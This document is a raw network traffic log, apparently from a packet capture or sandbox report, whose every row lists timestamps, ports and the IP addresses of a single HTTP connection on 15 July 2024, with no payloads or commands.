Jul 15, 2024 00:48:23.795448065 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.795468092 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.795484066 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.795548916 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.795561075 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.795573950 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.795583010 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.795586109 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.795598984 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.795598984 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.795613050 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.795618057 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.795644045 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.795821905 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.795835018 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.795846939 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.795857906 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.795860052 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.795872927 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.795885086 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.795886040 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.795912027 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.795928001 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.796070099 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.796082020 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.796108007 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.796122074 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.796137094 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.796147108 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.796158075 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.796159029 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.796171904 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.796184063 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.796212912 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.796377897 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.796394110 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.796406031 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.796416044 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.796442986 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.796598911 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.796611071 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.796626091 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.796634912 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.796639919 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.796660900 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.796667099 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.796674013 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.796685934 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.796694994 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.796699047 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.796710968 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.796715975 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.796736956 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.796761990 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.797013998 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.797029018 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.797040939 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.797050953 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.797051907 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.797065020 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.797066927 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.797077894 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.797086000 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.797092915 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.797106028 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.797115088 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.797118902 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.797131062 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.797157049 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.797359943 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.797370911 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.797380924 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.797393084 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.797400951 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.797406912 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.797420979 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.797429085 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.797432899 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.797456980 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.797471046 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.797750950 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.797763109 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.797775030 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.797786951 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.797787905 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.797800064 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.797801018 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.797811985 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.797821999 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.797825098 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.797837019 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.797848940 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.797849894 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.797861099 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.797873974 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.797874928 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.797887087 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.797889948 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.797899961 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.797910929 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.797915936 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.797925949 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.797936916 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.797945976 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.797962904 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.798295021 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.798309088 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.798331976 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.798357010 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.798414946 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.798428059 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.798440933 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.798449993 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.798453093 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.798464060 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.798465014 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.798477888 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.798485041 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.798491955 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.798505068 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.798512936 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.798517942 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.798530102 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.798530102 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.798543930 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.798557043 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.798587084 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.835452080 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.835479021 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.835493088 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.835506916 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.835511923 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.835556030 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.835556030 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.835608959 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.835621119 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.835634947 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.835643053 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.835675955 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.901901007 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.901932001 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.901946068 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.902056932 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.902069092 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.902082920 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.902098894 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.902110100 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.902146101 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.902157068 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.902173996 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.902201891 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.902214050 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.902214050 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.902214050 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.902244091 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.902303934 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.902316093 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.902328014 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.902340889 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.902352095 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.902393103 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.904505014 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.904552937 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.904566050 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.904571056 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.904588938 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.904642105 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.904654026 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.904654980 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.904664993 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.904679060 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.904685974 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.904725075 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.906543970 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.906574965 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.906596899 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.906609058 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.906651020 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.906672955 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.906683922 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.906697035 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.906713963 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.906747103 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.906759024 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.906785011 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.906791925 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.906826019 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.908077002 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.908098936 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.908109903 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.908128023 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.908150911 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.908179998 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.908191919 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.908219099 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.908245087 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.908246040 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.908257961 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.908282042 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.908299923 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.908323050 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.908334017 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.908360004 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.908376932 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.908452988 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.908463955 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.908474922 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.908495903 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.908499002 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.908513069 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.908529043 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.908560991 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.908582926 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.908593893 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.908627033 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.908654928 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.908668041 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.908679008 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.908691883 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.908698082 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.908704042 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.908715963 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.908745050 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.909117937 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.909166098 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.909171104 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.909183979 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.909213066 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.909245014 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.909256935 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.909267902 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.909291029 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.909307957 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.909383059 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.909394979 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.909405947 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.909429073 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.909456968 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.909490108 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.909501076 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.909512043 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.909532070 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.909557104 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.909559011 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.909573078 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.909603119 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.910125971 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.910135984 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.910176992 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.910200119 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.910235882 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.910254002 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.910265923 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.910298109 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.910317898 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.910330057 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.910362005 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.910398006 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.910410881 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.910445929 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.910476923 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.910489082 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.910500050 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.910520077 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.910537004 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.910582066 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.910593987 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.910604954 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.910614967 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.910628080 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.910656929 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.910732985 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.910743952 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.910757065 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.910768986 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.910778046 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.910808086 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.910836935 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.910847902 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.910860062 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.910870075 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.910871029 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.910900116 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.911273003 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.911320925 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.911330938 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.911341906 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.911369085 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.911379099 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.911417961 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.911451101 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.911499023 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.911504984 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.911510944 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.911536932 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.911554098 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.911618948 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.911631107 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.911642075 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.911653996 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.911662102 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.911693096 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.911742926 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.911755085 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.911767006 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.911786079 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.911803961 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.911946058 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.911957026 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.911967039 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.911979914 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.911992073 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.911994934 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.912024975 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.912167072 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.912188053 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.912200928 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.912211895 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.912239075 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.924988985 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.925048113 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.925052881 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.925065041 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.925091982 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.925111055 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.925158024 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.925169945 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.925180912 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.925194979 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.925201893 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.925230026 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.992448092 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.992472887 CEST	80	49704	38.180.60.246	192.168.2.5
